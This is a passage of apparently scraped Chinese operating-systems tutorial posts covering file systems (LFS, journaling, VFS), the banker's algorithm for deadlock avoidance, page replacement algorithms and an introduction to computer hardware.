中。符号链接有一个优势,即只要简单地提供一个机器的网络地址以及文件在该机器上驻留的路径,就可以连接全球任何地方机器上的文件。还有另一个由链接带来的问题,在符号链接和其他方式中都存在。如果允许链接,文件有两个或多个路径。查找一指定目录及其子目录下的全部文件的程序将多次定位到被链接的文件。例如,一个将某一目录及其子目录下的文件转存到磁带上的程序有可能多次复制一个被链接的文件。进而,如果接着把磁带读入另一台机器,除非转出程序具有智能,否则被链接的文件将被两次复制到磁盘上,而不是只是被链接起来。3.5日志结构文件系统技术的改变会给当前的文件系统带来压力。这种情况下,CPU 会变得越来越快,磁盘会变得越来越大并且越来越便宜(但不会越来越快)。内存容量也是以指数级增长。但是磁盘的寻道时间(除了固态盘,因为固态盘没有寻道时间)并没有获得提高。这些因素结合起来意味着许多系统文件中出现性能瓶颈。为此,Berkeley 设计了一种全新的文件系统,试图缓解这个问题,这个文件系统就是 日志结构文件系统(Log-structured File System, LFS)。日志结构文件系统由 Rosenblum 和 Ousterhout 于90年代初引入,旨在解决以下问题。不断增长的系统内存顺序 I/O 性能胜过随机 I/O 性能现有低效率的文件系统文件系统不支持 RAID(虚拟化)另一方面,当时的文件系统不论是 UNIX 还是 FFS,都有大量的随机读写(在 FFS 中创建一个新文件至少需要5次随机写),因此成为整个系统的性能瓶颈。同时因为 Page cache 的存在,作者认为随机读不是主要问题:随着越来越大的内存,大部分的读操作都能被 cache,因此 LFS 主要要解决的是减少对硬盘的随机写操作。在这种设计中,inode 甚至具有与 UNIX 中相同的结构,但是现在它们分散在整个日志中,而不是位于磁盘上的固定位置。所以,inode 很定位。为了能够找到 inode ,维护了一个由 inode 索引的 inode map(inode 映射)。表项 i 指向磁盘中的第 i 个 inode 。这个映射保存在磁盘中,但是也保存在缓存中,因此,使用最频繁的部分大部分时间都在内存中。日志结构文件系统主要使用四种数据结构:Inode、Inode Map、Segment、Segment Usage Table。到目前为止,所有写入最初都缓存在内存中,并且追加在日志末尾,所有缓存的写入都定期在单个段中写入磁盘。所以,现在打开文件也就意味着用映射定位文件的索引节点。一旦 inode 被定位后,磁盘块的地址就能够被找到。所有这些块本身都将位于日志中某处的分段中。真实情况下的磁盘容量是有限的,所以最终日志会占满整个磁盘空间,这种情况下就会出现没有新的磁盘块被写入到日志中。幸运的是,许多现有段可能具有不再需要的块。例如,如果一个文件被覆盖了,那么它的 inode 将被指向新的块,但是旧的磁盘块仍在先前写入的段中占据着空间。为了处理这个问题,LFS 有一个清理(clean)线程,它会循环扫描日志并对日志进行压缩。首先,通过查看日志中第一部分的信息来查看其中存在哪些索引节点和文件。它会检查当前 inode 的映射来查看 inode 否在在当前块中,是否仍在被使用。如果不是,该信息将被丢弃。如果仍然在使用,那么 inode 和块就会进入内存等待写回到下一个段中。然后原来的段被标记为空闲,以便日志可以用来存放新的数据。用这种方法,清理线程遍历日志,从后面移走旧的段,然后将有效的数据放入内存等待写到下一个段中。由此一来整个磁盘会形成一个大的环形缓冲区,写线程将新的段写在前面,而清理线程则清理后面的段。3.6日志文件系统虽然日志结构系统的设计很优雅,但是由于它们和现有的文件系统不相匹配,因此还没有广泛使用。不过,从日志文件结构系统衍生出来一种新的日志系统,叫做日志文件系统,它会记录系统下一步将要做什么的日志。微软的 NTFS 文件系统、Linux 的 ext3 就使用了此日志。 OS X 将日志系统作为可供选项。为了看清它是如何工作的,我们下面讨论一个例子,比如 移除文件 ,这个操作在 UNIX 中需要三个步骤完成:在目录中删除文件释放 inode 到空闲 inode 池将所有磁盘块归还给空闲磁盘池。在 Windows 中,也存在类似的步骤。不存在系统崩溃时,这些步骤的执行顺序不会带来问题。但是一旦系统崩溃,就会带来问题。假如在第一步完成后系统崩溃。inode 和文件块将不会被任何文件获得,也不会再分配;它们只存在于废物池中的某个地方,并因此减少了可利用的资源。如果崩溃发生在第二步后,那么只有磁盘块会丢失。日志文件系统保留磁盘写入期间对文件系统所做的更改的日志或日志,该日志可用于快速重建可能由于系统崩溃或断电等事件而发生的损坏。一般文件系统崩溃后必须运行 fsck(文件系统一致性检查)实用程序。为了让日志能够正确工作,被写入的日志操作必须是 幂等的(idempotent),它意味着只要有必要,它们就可以重复执行很多次,并不会带来破坏。像操作 更新位表并标记 inode k 或者块 n 是空闲的 可以重复执行任意次。同样地,查找一个目录并且删除所有叫 foobar 的项也是幂等的。相反,把从 inode k 新释放的块加入空闲表的末端不是幂等的,因为它们可能已经被释放并存放在那里了。为了增加可靠性,一个文件系统可以引入数据库中 原子事务(atomic transaction) 的概念。使用这个概念,一组动作可以被界定在开始事务和结束事务操作之间。这样,文件系统就会知道它必须完成所有的动作,要么就一个不做。3.7虚拟文件系统即使在同一台计算机上或者在同一个操作系统下,都会使用很多不同的文件系统。Windows 中的主要文件系统是 NTFS 文件系统,但不是说 Windows 只有 NTFS 操作系统,它还有一些其他的例如旧的 FAT -32 或 FAT -16 驱动器或分区,其中包含仍需要的数据,闪存驱动器,旧的 CD-ROM 或 DVD(每个都有自己的独特文件系统)。Windows 通过指定不同的盘符来处理这些不同的文件系统,比如 C:,D: 等。盘符可以显示存在也可以隐式存在,如果你想找指定位置的文件,那么盘符是显示存在;如果当一个进程打开一个文件时,此时盘符是隐式存在,所以 Windows 知道向哪个文件系统传递请求。相比之下,UNIX 采用了一种不同的方式,即 UNIX 把多种文件系统整合到一个统一的结构中。一个 Linux 系统可以使用 ext2 作为根文件系统,ext3 分区装载在 /usr 下,另一块采用 Reiser FS 文件系统的硬盘装载到 /home下,以及一个 ISO 9660 的 CD - ROM 临时装载到 /mnt 下。从用户的观点来看,只有一个文件系统层级,但是事实上它们是由多个文件系统组合而成,对于用户和进程是不可见的。UNIX 操作系统使用一种 虚拟文件系统(Virtual File System, VFS) 来尝试将多种文件系统构成一个有序的结构。关键的思想是抽象出所有文件系统都共有的部分,并将这部分代码放在一层,这一层再调用具体文件系统来管理数据。下面是一个 VFS 的系统结构还是那句经典的话,在计算机世界中,任何解决不了的问题都可以加个代理来解决。所有和文件相关的系统调用在最初的处理上都指向虚拟文件系统。这些来自用户进程的调用,都是标准的 POSIX 系统调用,比如 open、read、write 和 seek 等。VFS 对用户进程有一个 上层 接口,这个接口就是著名的 POSIX 接口。VFS 也有一个对于实际文件的 下层 接口,就是上图中标记为 VFS 的接口。这个接口包含许多功能调用,这样 VFS 可以使每一个文件系统完成任务。因此,要创建一个可以与 VFS 一起使用的新文件系统,新文件系统的设计者必须确保它提供了 VFS 要求的功能。一个明显的例子是从磁盘读取特定的块,然后将其放入文件系统的缓冲区高速缓存中,然后返回指向该块的指针的函数。 因此,VFS具有两个不同的接口:上一个到用户进程,下一个到具体文件系统。当系统启动时,根文件系统在 VFS 中注册。另外,当装载其他文件时,不管在启动时还是在操作过程中,它们也必须在 VFS 中注册。当一个文件系统注册时,根文件系统注册到 VFS。另外,在引导时或操作期间挂载其他文件系统时,它们也必须向 VFS 注册。当文件系统注册时,其基本作用是提供 VFS 所需功能的地址列表、调用向量表、或者 VFS 对象。因此一旦文件系统注册到 VFS,它就知道从哪里开始读取数据块。装载文件系统后就可以使用它了。比如,如果一个文件系统装载到 /usr 并且一个进程调用它:open("/usr/include/unistd.h",O_RDONLY)当解析路径时, VFS 看到新的文件系统被挂载到 /usr,并且通过搜索已经装载文件系统的超级块来确定它的超块。然后它找到它所转载的文件的根目录,在那里查找路径 include/unistd.h。然后 VFS 创建一个 vnode 并调用实际文件系统,以返回所有的在文件 inode 中的信息。这个信息和其他信息一起复制到 vnode (内存中)。而这些其他信息中最重要的是指向包含调用 vnode 操作的函数表的指针,比如 read、write 和 close 等。当 vnode 被创建后,为了进程调用,VFS 在文件描述符表中创建一个表项,并将它指向新的 vnode,最后,VFS 向调用者返回文件描述符,所以调用者可以用它去 read、write 或者 close 文件。当进程用文件描述符进行一个读操作时,VFS 通过进程表和文件描述符确定 vnode 的位置,并跟随指针指向函数表,这样就调用了处理 read 函数,运行在实际系统中的代码并得到所请求的块。VFS 不知道请求时来源于本地硬盘、还是来源于网络中的远程文件系统、CD-ROM 、USB 或者其他介质,所有相关的数据结构欧如下图所示从调用者进程号和文件描述符开始,进而是 vnode,读函数指针,然后是对实际文件系统的访问函数定位。
0
0
0
浏览量1794
爱喝奶茶的波波

死锁-死锁避免

五、死锁避免我们上面讨论的是如何检测出现死锁和如何恢复死锁,下面我们探讨几种规避死锁的方式单个资源的银行家算法银行家算法是 Dijkstra 在 1965 年提出的一种调度算法,它本身是一种死锁的调度算法。它的模型是基于一个城镇中的银行家,银行家向城镇中的客户承诺了一定数量的贷款额度。算法要做的就是判断请求是否会进入一种不安全的状态。如果是,就拒绝请求,如果请求后系统是安全的,就接受该请求。比如下面的例子,银行家一共为所有城镇居民提供了 15 单位个贷款额度,一个单位表示 1k 美元,如下所示城镇居民都喜欢做生意,所以就会涉及到贷款,每个人能贷款的最大额度不一样,在某一时刻,A/B/C/D 的贷款金额如下上面每个人的贷款总额加起来是 13,马上接近 15,银行家只能给 A 和 C 进行放贷,可以拖着 B 和 D、所以,可以让 A 和 C 首先完成,释放贷款额度,以此来满足其他居民的贷款。这是一种安全的状态。如果每个人的请求导致总额会超过甚至接近 15 ,就会处于一种不安全的状态,如下所示这样,每个人还能贷款至少 2 个单位的额度,如果其中有一个人发起最大额度的贷款请求,就会使系统处于一种死锁状态。这里注意一点:不安全状态并不一定引起死锁,由于客户不一定需要其最大的贷款额度,但是银行家不敢抱着这种侥幸心理。银行家算法就是对每个请求进行检查,检查是否请求会引起不安全状态,如果不会引起,那么就接受该请求;如果会引起,那么就推迟该请求。类似的,还有多个资源的银行家算法,读者可以自行了解。
0
0
0
浏览量1081
爱喝奶茶的波波

内存管理-页面置换算法

四、页面置换算法当发生缺页异常时,操作系统会选择一个页面进行换出从而为新进来的页面腾出空间。如果要换出的页面在内存中已经被修改,那么必须将其写到磁盘中以使磁盘副本保持最新状态。如果页面没有被修改过,并且磁盘中的副本也已经是最新的,那么就不需要进行重写。那么就直接使用调入的页面覆盖需要移除的页面就可以了。当发生缺页中断时,虽然可以随机的选择一个页面进行置换,但是如果每次都选择一个不常用的页面会提升系统的性能。如果一个经常使用的页面被换出,那么这个页面在短时间内又可能被重复使用,那么就可能会造成额外的性能开销。在关于页面的主题上有很多页面置换算法(page replacement algorithms),这些已经从理论上和实践上得到了证明。需要指出的是,页面置换问题在计算机的其他领域中也会出现。例如,多数计算机把最近使用过的 32 字节或者 64 字节的存储块保存在一个或多个高速缓存中。当缓存满的时候,一些块就被选择和移除。这些块的移除除了花费时间较短外,这个问题同页面置换问题完全一样。之所以花费时间较短,是因为丢掉的高速缓存可以从内存中获取,而内存没有寻找磁道的时间也不存在旋转延迟。第二个例子是 Web 服务器。服务器会在内存中缓存一些经常使用到的 Web 页面。然而,当缓存满了并且已经引用了新的页面,那么必须决定退出哪个 Web 页面。在高速缓存中的 Web 页面不会被修改。因此磁盘中的 Web 页面经常是最新的,同样的考虑也适用在虚拟内存中。在虚拟系统中,内存中的页面可能会修改也可能不会修改。下面我们就来探讨一下有哪些页面置换算法。4.1最优页面置换算法最优的页面置换算法很容易描述但在实际情况下很难实现。它的工作流程如下:在缺页中断发生时,这些页面之一将在下一条指令(包含该指令的页面)上被引用。其他页面则可能要到 10、100 或者 1000 条指令后才会被访问。每个页面都可以用在该页首次被访问前所要执行的指令数作为标记。最优化的页面算法表明应该标记最大的页面。如果一个页面在 800 万条指令内不会被使用,另外一个页面在 600 万条指令内不会被使用,则置换前一个页面,从而把需要调入这个页面而发生的缺页中断推迟。计算机也像人类一样,会把不愿意做的事情尽可能的往后拖。这个算法最大的问题时无法实现。当缺页中断发生时,操作系统无法知道各个页面的下一次将在什么时候被访问。这种算法在实际过程中根本不会使用。4.2最近未使用页面置换算法为了能够让操作系统收集页面使用信息,大部分使用虚拟地址的计算机都有两个状态位,R 和 M,来和每个页面进行关联。每当引用页面(读入或写入)时都设置 R,写入(即修改)页面时设置 M,这些位包含在每个页表项中,就像下面所示因为每次访问时都会更新这些位,因此由硬件来设置它们非常重要。一旦某个位被设置为 1,就会一直保持 1 直到操作系统下次来修改此位。如果硬件没有这些位,那么可以使用操作系统的缺页中断和时钟中断机制来进行模拟。当启动一个进程时,将其所有的页面都标记为不在内存;一旦访问任何一个页面就会引发一次缺页中断,此时操作系统就可以设置 R 位(在它的内部表中),修改页表项使其指向正确的页面,并设置为 READ ONLY 模式,然后重新启动引起缺页中断的指令。如果页面随后被修改,就会发生另一个缺页异常。从而允许操作系统设置 M 位并把页面的模式设置为 READ/WRITE。可以用 R 位和 M 位来构造一个简单的页面置换算法:当启动一个进程时,操作系统将其所有页面的两个位都设置为 0。R 位定期的被清零(在每个时钟中断)。用来将最近未引用的页面和已引用的页面分开。当出现缺页中断后,操作系统会检查所有的页面,并根据它们的 R 位和 M 位将当前值分为四类:第 0 类:没有引用 R,没有修改 M第 1 类:没有引用 R,已修改 M第 2 类:引用 R ,没有修改 M第 3 类:已被访问 R,已被修改 M尽管看起来好像无法实现第一类页面,但是当第三类页面的 R 位被时钟中断清除时,它们就会发生。时钟中断不会清除 M 位,因为需要这个信息才能知道是否写回磁盘中。清除 R 但不清除 M 会导致出现一类页面。NRU(Not Recently Used) 算法从编号最小的非空类中随机删除一个页面。此算法隐含的思想是,在一个时钟内(约 20 ms)淘汰一个已修改但是没有被访问的页面要比一个大量引用的未修改页面好,NRU 的主要优点是易于理解并且能够有效的实现。4.2先进先出页面置换算法另一种开销较小的方式是使用 FIFO(First-In,First-Out) 算法,这种类型的数据结构也适用在页面置换算法中。由操作系统维护一个所有在当前内存中的页面的链表,最早进入的放在表头,最新进入的页面放在表尾。在发生缺页异常时,会把头部的页移除并且把新的页添加到表尾。还记得缺页异常什么时候发生吗?我们知道应用程序访问内存会进行虚拟地址到物理地址的映射,缺页异常就发生在虚拟地址无法映射到物理地址的时候。因为实际的物理地址要比虚拟地址小很多(参考上面的虚拟地址和物理地址映射图),所以缺页经常会发生。先进先出页面可能是最简单的页面替换算法了。在这种算法中,操作系统会跟踪链表中内存中的所有页。下面我们举个例子看一下(这个算法我刚开始看的时候有点懵逼,后来才看懂,我还是很菜)初始化的时候,没有任何页面,所以第一次的时候会检查页面 1 是否位于链表中,没有在链表中,那么就是 MISS,页面1 进入链表,链表的先进先出的方向如图所示。类似的,第二次会先检查页面 2 是否位于链表中,没有在链表中,那么页面 2 进入链表,状态为 MISS,依次类推。我们来看第四次,此时的链表为 1 2 3 ,第四次会检查页面 2 是否位于链表中,经过检索后,发现 2 在链表中,那么状态就是 HIT,并不会再进行入队和出队操作,第五次也是一样的。下面来看第六次,此时的链表还是 1 2 3,因为之前没有执行进入链表操作,页面 5 会首先进行检查,发现链表中没有页面 5 ,则执行页面 5 的进入链表操作,页面 2 执行出链表的操作,执行完成后的链表顺序为 2 3 5。4.3第二次机会页面置换算法我们上面学到的 FIFO 链表页面有个缺陷,那就是出链和入链并不会进行 check 检查,这样就会容易把经常使用的页面置换出去,为了避免这一问题,我们对该算法做一个简单的修改:我们检查最老页面的 R 位,如果是 0 ,那么这个页面就是最老的而且没有被使用,那么这个页面就会被立刻换出。如果 R 位是 1,那么就清除此位,此页面会被放在链表的尾部,修改它的装入时间就像刚放进来的一样。然后继续搜索。这种算法叫做 第二次机会(second chance)算法,就像下面这样,我们看到页面 A 到 H 保留在链表中,并按到达内存的时间排序。a)按照先进先出的方法排列的页面;b)在时刻 20 处发生缺页异常中断并且 A 的 R 位已经设置时的页面链表。假设缺页异常发生在时刻 20 处,这时最老的页面是 A ,它是在 0 时刻到达的。如果 A 的 R 位是 0,那么它将被淘汰出内存,或者把它写回磁盘(如果它已经被修改过),或者只是简单的放弃(如果它是未被修改过)。另一方面,如果它的 R 位已经设置了,则将 A 放到链表的尾部并且重新设置装入时间为当前时刻(20 处),然后清除 R 位。然后从 B 页面开始继续搜索合适的页面。寻找第二次机会的是在最近的时钟间隔中未被访问过的页面。如果所有的页面都被访问过,该算法就会被简化为单纯的 FIFO 算法。具体来说,假设图 a 中所有页面都设置了 R 位。操作系统将页面依次移到链表末尾,每次都在添加到末尾时清除 R 位。最后,算法又会回到页面 A,此时的 R 位已经被清除,那么页面 A 就会被执行出链处理,因此算法能够正常结束。4.5时钟页面置换算法即使上面提到的第二次页面置换算法也是一种比较合理的算法,但它经常要在链表中移动页面,既降低了效率,而且这种算法也不是必须的。一种比较好的方式是把所有的页面都保存在一个类似钟面的环形链表中,一个表针指向最老的页面。如下图所示当缺页错误出现时,算法首先检查表针指向的页面,如果它的 R 位是 0 就淘汰该页面,并把新的页面插入到这个位置,然后把表针向前移动一位;如果 R 位是 1 就清除 R 位并把表针前移一个位置。重复这个过程直到找到了一个 R 位为 0 的页面位置。了解这个算法的工作方式,就明白为什么它被称为 时钟(clokc)算法了。4.6最近最少使用页面置换算法最近最少使用页面置换算法的一个解释会是下面这样:在前面几条指令中频繁使用的页面和可能在后面的几条指令中被使用。反过来说,已经很久没有使用的页面有可能在未来一段时间内仍不会被使用。这个思想揭示了一个可以实现的算法:在缺页中断时,置换未使用时间最长的页面。这个策略称为 LRU(Least Recently Used) ,最近最少使用页面置换算法。虽然 LRU 在理论上是可以实现的,但是从长远看来代价比较高。为了完全实现 LRU,会在内存中维护一个所有页面的链表,最频繁使用的页位于表头,最近最少使用的页位于表尾。困难的是在每次内存引用时更新整个链表。在链表中找到一个页面,删除它,然后把它移动到表头是一个非常耗时的操作,即使使用硬件来实现也是一样的费时。然而,还有其他方法可以通过硬件实现 LRU。让我们首先考虑最简单的方式。这个方法要求硬件有一个 64 位的计数器,它在每条指令执行完成后自动加 1,每个页表必须有一个足够容纳这个计数器值的域。在每次访问内存后,将当前的值保存到被访问页面的页表项中。一旦发生缺页异常,操作系统就检查所有页表项中计数器的值,找到值最小的一个页面,这个页面就是最少使用的页面。4.7用软件模拟 LRU尽管上面的 LRU 算法在原则上是可以实现的,但是很少有机器能够拥有那些特殊的硬件。上面是硬件的实现方式,那么现在考虑要用软件来实现 LRU 。一种可以实现的方案是 NFU(Not Frequently Used,最不常用)算法。它需要一个软件计数器来和每个页面关联,初始化的时候是 0 。在每个时钟中断时,操作系统会浏览内存中的所有页,会将每个页面的 R 位(0 或 1)加到它的计数器上。这个计数器大体上跟踪了各个页面访问的频繁程度。当缺页异常出现时,则置换计数器值最小的页面。NFU 最主要的问题是它不会忘记任何东西,想一下是不是这样?例如,在一个多次(扫描)的编译器中,在第一遍扫描中频繁使用的页面会在后续的扫描中也有较高的计数。事实上,如果第一次扫描的执行时间恰好是各次扫描中最长的,那么后续遍历的页面的统计次数总会比第一次页面的统计次数小。结果是操作系统将置换有用的页面而不是不再使用的页面。幸运的是只需要对 NFU 做一个简单的修改就可以让它模拟 LRU,这个修改有两个步骤首先,在 R 位被添加进来之前先把计数器右移一位;第二步,R 位被添加到最左边的位而不是最右边的位。修改以后的算法称为 老化(aging) 算法,下图解释了老化算法是如何工作的。我们假设在第一个时钟周期内页面 0 - 5 的 R 位依次是 1,0,1,0,1,1,(也就是页面 0 是 1,页面 1 是 0,页面 2 是 1 这样类推)。也就是说,在 0 个时钟周期到 1 个时钟周期之间,0,2,4,5 都被引用了,从而把它们的 R 位设置为 1,剩下的设置为 0 。在相关的六个计数器被右移之后 R 位被添加到 左侧 ,就像上图中的 a。剩下的四列显示了接下来的四个时钟周期内的六个计数器变化。CPU正在以某个频率前进,该频率的周期称为时钟滴答或时钟周期。一个 100Mhz 的处理器每秒将接收100,000,000个时钟滴答。当缺页异常出现时,将置换(就是移除)计数器值最小的页面。如果一个页面在前面 4 个时钟周期内都没有被访问过,那么它的计数器应该会有四个连续的 0 ,因此它的值肯定要比前面 3 个时钟周期内都没有被访问过的页面的计数器小。这个算法与 LRU 算法有两个重要的区别:看一下上图中的 e,第三列和第五列它们在两个时钟周期内都没有被访问过,在此之前的时钟周期内都引用了两个页面。根据 LRU 算法,如果需要置换的话,那么应该在这两个页面中选择一个。那么问题来了,我萌应该选择哪个?现在的问题是我们不知道时钟周期 1 到时钟周期 2 内它们中哪个页面是后被访问到的。因为在每个时钟周期内只记录了一位,所以无法区分在一个时钟周期内哪个页面最早被引用,哪个页面是最后被引用的。因此,我们能做的就是置换页面3,因为页面 3 在周期 0 - 1 内都没有被访问过,而页面 5 却被引用过。LRU 与老化之前的第 2 个区别是,在老化期间,计数器具有有限数量的位(这个例子中是 8 位),这就限制了以往的访问记录。如果两个页面的计数器都是 0 ,那么我们可以随便选择一个进行置换。实际上,有可能其中一个页面的访问次数实在 9 个时钟周期以前,而另外一个页面是在 1000 个时钟周期之前,但是我们却无法看到这些。在实际过程中,如果时钟周期是 20 ms,8 位一般是够用的。所以我们经常拿 20 ms 来举例。4.8工作集页面置换算法在最单纯的分页系统中,刚启动进程时,在内存中并没有页面。此时如果 CPU 尝试匹配第一条指令,就会得到一个缺页异常,使操作系统装入含有第一条指令的页面。其他的错误比如 全局变量和 堆栈 引起的缺页异常通常会紧接着发生。一段时间以后,进程需要的大部分页面都在内存中了,此时进程开始在较少的缺页异常环境中运行。这个策略称为 请求调页(demand paging),因为页面是根据需要被调入的,而不是预先调入的。在一个大的地址空间中系统的读所有的页面,将会造成很多缺页异常,因此会导致没有足够的内存来容纳这些页面。不过幸运的是,大部分进程不是这样工作的,它们都会以局部性方式(locality of reference) 来访问,这意味着在执行的任何阶段,程序只引用其中的一小部分。一个进程当前正在使用的页面的集合称为它的 工作集(working set),如果整个工作集都在内存中,那么进程在运行到下一运行阶段(例如,编译器的下一遍扫面)之前,不会产生很多缺页中断。如果内存太小从而无法容纳整个工作集,那么进程的运行过程中会产生大量的缺页中断,会导致运行速度也会变得缓慢。因为通常只需要几纳秒就能执行一条指令,而通常需要十毫秒才能从磁盘上读入一个页面。如果一个程序每 10 ms 只能执行一到两条指令,那么它将需要很长时间才能运行完。如果只是执行几条指令就会产生中断,那么就称作这个程序产生了 颠簸(thrashing)。在多道程序的系统中,通常会把进程移到磁盘上(即从内存中移走所有的页面),这样可以让其他进程有机会占用 CPU 。有一个问题是,当进程想要再次把之前调回磁盘的页面调回内存怎么办?从技术的角度上来讲,并不需要做什么,此进程会一直产生缺页中断直到它的工作集 被调回内存。然后,每次装入一个进程需要 20、100 甚至 1000 次缺页中断,速度显然太慢了,并且由于 CPU 需要几毫秒时间处理一个缺页中断,因此由相当多的 CPU 时间也被浪费了。因此,不少分页系统中都会设法跟踪进程的工作集,确保这些工作集在进程运行时被调入内存。这个方法叫做 工作集模式(working set model)。它被设计用来减少缺页中断的次数的。在进程运行前首先装入工作集页面的这一个过程被称为 预先调页(prepaging),工作集是随着时间来变化的。根据研究表明,大多数程序并不是均匀的访问地址空间的,而访问往往是集中于一小部分页面。一次内存访问可能会取出一条指令,也可能会取出数据,或者是存储数据。在任一时刻 t,都存在一个集合,它包含所哟欧最近 k 次内存访问所访问过的页面。这个集合 w(k,t) 就是工作集。因为最近 k = 1次访问肯定会访问最近 k > 1 次访问所访问过的页面,所以 w(k,t) 是 k 的单调递减函数。随着 k 的增大,w(k,t) 是不会无限变大的,因为程序不可能访问比所能容纳页面数量上限还多的页面。事实上大多数应用程序只会任意访问一小部分页面集合,但是这个集合会随着时间而缓慢变化,所以为什么一开始曲线会快速上升而 k 较大时上升缓慢。为了实现工作集模型,操作系统必须跟踪哪些页面在工作集中。一个进程从它开始执行到当前所实际使用的 CPU 时间总数通常称作 当前实际运行时间。进程的工作集可以被称为在过去的 t 秒实际运行时间中它所访问过的页面集合。下面来简单描述一下工作集的页面置换算法,基本思路就是找出一个不在工作集中的页面并淘汰它。下面是一部分机器页表因为只有那些在内存中的页面才可以作为候选者被淘汰,所以该算法忽略了那些不在内存中的页面。每个表项至少包含两条信息:上次使用该页面的近似时间和 R(访问)位。空白的矩形表示该算法不需要其他字段,例如页框数量、保护位、修改位。算法的工作流程如下,假设硬件要设置 R 和 M 位。同样的,在每个时钟周期内,一个周期性的时钟中断会使软件清除 Referenced(引用)位。在每个缺页异常,页表会被扫描以找出一个合适的页面把它置换。随着每个页表项的处理,都需要检查 R 位。如果 R 位是 1,那么就会将当前时间写入页表项的 上次使用时间域,表示的意思就是缺页异常发生时页面正在被使用。因为页面在当前时钟周期内被访问过,那么它应该出现在工作集中而不是被删除(假设 t 是横跨了多个时钟周期)。如果 R 位是 0 ,那么在当前的时钟周期内这个页面没有被访问过,应该作为被删除的对象。为了查看是否应该将其删除,会计算其使用期限(当前虚拟时间 - 上次使用时间),来用这个时间和 t 进行对比。如果使用期限大于 t,那么这个页面就不再工作集中,而使用新的页面来替换它。然后继续扫描更新剩下的表项。然而,如果 R 位是 0 但是使用期限小于等于 t,那么此页应该在工作集中。此时就会把页面临时保存起来,但是会记生存时间最长(即上次使用时间的最小值)的页面。如果扫描完整个页表却没有找到适合被置换的页面,也就意味着所有的页面都在工作集中。在这种情况下,如果找到了一个或者多个 R = 0 的页面,就淘汰生存时间最长的页面。最坏的情况下是,在当前时钟周期内,所有的页面都被访问过了(也就是都有 R = 1),因此就随机选择一个页面淘汰,如果有的话最好选一个未被访问的页面,也就是干净的页面。4.9工作集时钟页面置换算法当缺页异常发生后,需要扫描整个页表才能确定被淘汰的页面,因此基本工作集算法还是比较浪费时间的。一个对基本工作集算法的提升是基于时钟算法但是却使用工作集的信息,这种算法称为WSClock(工作集时钟)。由于它的实现简单并且具有高性能,因此在实践中被广泛应用。与时钟算法一样,所需的数据结构是一个以页框为元素的循环列表,就像下面这样最初的时候,该表是空的。当装入第一个页面后,把它加载到该表中。随着更多的页面的加入,它们形成一个环形结构。每个表项包含来自基本工作集算法的上次使用时间,以及 R 位(已标明)和 M 位(未标明)。与时钟算法一样,在每个缺页异常时,首先检查指针指向的页面。如果 R 位被是设置为 1,该页面在当前时钟周期内就被使用过,那么该页面就不适合被淘汰。然后把该页面的 R 位置为 0,指针指向下一个页面,并重复该算法。该事件序列化后的状态参见图 b。现在考虑指针指向的页面 R = 0 时会发生什么,参见图 c,如果页面的使用期限大于 t 并且页面为被访问过,那么这个页面就不会在工作集中,并且在磁盘上会有一个此页面的副本。申请重新调入一个新的页面,并把新的页面放在其中,如图 d 所示。另一方面,如果页面被修改过,就不能重新申请页面,因为这个页面在磁盘上没有有效的副本。为了避免由于调度写磁盘操作引起的进程切换,指针继续向前走,算法继续对下一个页面进行操作。毕竟,有可能存在一个老的,没有被修改过的页面可以立即使用。原则上来说,所有的页面都有可能因为磁盘I/O 在某个时钟周期内被调度。为了降低磁盘阻塞,需要设置一个限制,即最大只允许写回 n 个页面。一旦达到该限制,就不允许调度新的写操作。那么就有个问题,指针会绕一圈回到原点的,如果回到原点,它的起始点会发生什么?这里有两种情况:至少调度了一次写操作没有调度过写操作在第一种情况中,指针仅仅是不停的移动,寻找一个未被修改过的页面。由于已经调度了一个或者多个写操作,最终会有某个写操作完成,它的页面会被标记为未修改。置换遇到的第一个未被修改过的页面,这个页面不一定是第一个被调度写操作的页面,因为硬盘驱动程序为了优化性能可能会把写操作重排序。对于第二种情况,所有的页面都在工作集中,否则将至少调度了一个写操作。由于缺乏额外的信息,最简单的方法就是置换一个未被修改的页面来使用,扫描中需要记录未被修改的页面的位置,如果不存在未被修改的页面,就选定当前页面并把它写回磁盘。4.10页面置换算法小结我们到现在已经研究了各种页面置换算法,现在我们来一个简单的总结,算法的总结归纳如下最优算法在当前页面中置换最后要访问的页面。不幸的是,没有办法来判定哪个页面是最后一个要访问的,因此实际上该算法不能使用。然而,它可以作为衡量其他算法的标准。NRU 算法根据 R 位和 M 位的状态将页面氛围四类。从编号最小的类别中随机选择一个页面。NRU 算法易于实现,但是性能不是很好。存在更好的算法。FIFO 会跟踪页面加载进入内存中的顺序,并把页面放入一个链表中。有可能删除存在时间最长但是还在使用的页面,因此这个算法也不是一个很好的选择。第二次机会算法是对 FIFO 的一个修改,它会在删除页面之前检查这个页面是否仍在使用。如果页面正在使用,就会进行保留。这个改进大大提高了性能。时钟 算法是第二次机会算法的另外一种实现形式,时钟算法和第二次算法的性能差不多,但是会花费更少的时间来执行算法。LRU 算法是一个非常优秀的算法,但是没有特殊的硬件(TLB)很难实现。如果没有硬件,就不能使用 LRU 算法。NFU 算法是一种近似于 LRU 的算法,它的性能不是非常好。老化 算法是一种更接近 LRU 算法的实现,并且可以更好的实现,因此是一个很好的选择最后两种算法都使用了工作集算法。工作集算法提供了合理的性能开销,但是它的实现比较复杂。WSClock 是另外一种变体,它不仅能够提供良好的性能,而且可以高效地实现。总之,最好的算法是老化算法和WSClock算法。他们分别是基于 LRU 和工作集算法。他们都具有良好的性能并且能够被有效的实现。还存在其他一些好的算法,但实际上这两个可能是最重要的。
0
0
0
浏览量856
爱喝奶茶的波波

操作系统入门-计算机硬件介绍

二、计算机硬件介绍操作系统与运行操作系统的内核硬件关系密切。操作系统扩展了计算机指令集并管理计算机的资源。因此,操作系统因此必须足够了解硬件的运行,这里我们先简要介绍一下现代计算机中的计算机硬件。从概念上来看,一台简单的个人电脑可以被抽象为上面这种相似的模型,CPU、内存、I/O 设备都和总线串联起来并通过总线与其他设备进行通信。现代操作系统有着更为复杂的结构,会设计很多条总线,我们稍后会看到。暂时来讲,这个模型能够满足我们的讨论。2.1CPUCPU 是计算机的大脑,它主要和内存进行交互,从内存中提取指令并执行它。一个 CPU 的执行周期是从内存中提取第一条指令、解码并决定它的类型和操作数,执行,然后再提取、解码执行后续的指令。重复该循环直到程序运行完毕。每个 CPU 都有一组可以执行的特定指令集。因此,x86 的 CPU 不能执行 ARM 的程序并且 ARM 的 CPU 也不能执行 x86 的程序。由于访问内存获取执行或数据要比执行指令花费的时间长,因此所有的 CPU 